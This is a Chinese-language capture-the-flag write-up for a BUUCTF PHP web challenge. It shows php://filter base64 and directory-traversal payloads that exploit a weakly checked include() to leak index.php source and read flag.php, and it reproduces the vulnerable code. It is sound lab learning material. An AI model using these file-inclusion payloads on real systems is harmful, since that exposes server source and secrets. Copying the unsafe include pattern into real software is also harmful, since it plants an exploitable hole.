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这题应该是入门送分题
打开场景，两个超链接，点进去，有猫有狗，带了一个category参数，后面是超链接名字
盲猜是任意文件读取，审计源码
发现了hint
<div class="page-include">
那就说明我们的思路没问题，干就完了
尝试http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index.php
报错了
观察原来的category参数，是没有文件后缀的，我们也试试
http://10b59fde-8bbb-479a-9ec5-103defcf5b60.node4.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index
回显了，base64编码，那么就解码
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
关键代码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
emmm…看起来好像只有woofers，meowers，index可以读
要不然试试目录穿越？woofers/…/flag成功<!-- Can you read this flag? -->
?category=php://filter/convert.base64-encode/index/../resource=flag
读取成功
后来查阅资料，别的师傅都写这里是利用php://filter伪协议可以套一层协议读取flag.php
?category=php://filter/convert.base64-encode/index/resource=flag这样也是可以的
?category=php://filter/convert.base64-encode/resource=index/../flag也行，说明index.php和flag.php在同级目录里
参考视频链接：https://www.bilibili.com/video/BV1uL411j7Q2/
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